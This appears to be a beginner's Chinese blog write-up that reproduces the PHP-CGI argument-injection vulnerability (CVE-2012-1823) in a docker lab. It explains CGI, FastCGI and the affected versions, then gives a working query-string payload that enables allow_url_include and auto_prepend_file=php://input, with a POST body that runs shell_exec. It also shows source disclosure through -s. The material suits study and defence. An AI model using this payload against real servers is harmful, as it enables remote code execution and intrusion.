目录
CGI是什么?
CGI(Common Gateway Interface)公共网关接口,是web服务器运行时外部程序的规范,它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准。几乎所有的服务器都支持CGI,也可以用任何语言编写CGI,只要这种语言具有标准输入、输出和环境变量即可.CGI分为标准CGI和间接CGI
在安装Apache的时候默认有一个cgi-bin目录,最早就是用来放cgi脚本的
但是cgi模式有一个缺点,由于进程的创建和和调用都会有一定的消耗,进程的数量也是有限的,采用cgi模式的网站当大量的用户同时访问的时候,很可能服务器自己就顶不住了。这个时候fastcgi应运而生
fastcgi
fastcgi可以自己一直运行在后台、并通过fastcgi协议接受数据包、执行后返回结果,但自身并不退出
- fastcgi是HTTP服务器和动态脚本语言间通信的接口或工具
- fastcgi的有点是将动态语言解析和HTTP服务器分离开来
- Nginx 、 Apache大多数动态语言都支持fastcgi
- fast接口方式采用c/s架构
- PHP动态语言服务端可以启动多个fastCGI的守护进程
- HTTP服务器通过fastcgi客户端和动态语言fastcgi服务端通信
漏洞成因
用户请求的querystring被作为了php-cgi的参数执行了,RFC3875中规定当querystring中不包含没有解码的=号的情况下要将querystring作为cgi的参数传入,所以Apache服务器按要求实现了这个功能,PHP曾经也处理过就是比较极端即:web上下文中不允许传入参数,但后来由于种种原因又取消了,所以这个漏洞就遗留了下来
影响版本
php < 5.3.12 or php < 5.4.2
漏洞利用
cgi模式下的参数
- -c 指定php.ini文件的位置
- -n 不要加载php.ini文件
- -d 指定配置项
- -b 启动fastcgi进程
- -s 显示文件源码
- -T 执行指定次该文件
- -h和-? 显示帮助
实验过程
开启环境
sudo docker-compose biuld
sudo docker-compose up -d
访问网站
利用-s查看文件源码
利用-d制造文件包含漏洞
?-d allow_url_include=on -d auto_prepend_file=php://input
首先是把文件包含这个设置打开
然后使用auto_prepend_file函数在页面底部加载文件
<?php echo shell_exec('ls');?>
+号是空格 %3d是= %3a是:
?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
bp抓包,插入代码将GET请求方式改为POST
成功执行
总结
这是小菜菜第一次接触CVE,讲真信息量有点大,对于有些知识点我也不能完全理解,所以后续就不展开了。我得好好消化一下
这里推荐一位大神的文章,写的很好也很透彻,大家可以去看看原文,超级精彩
https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html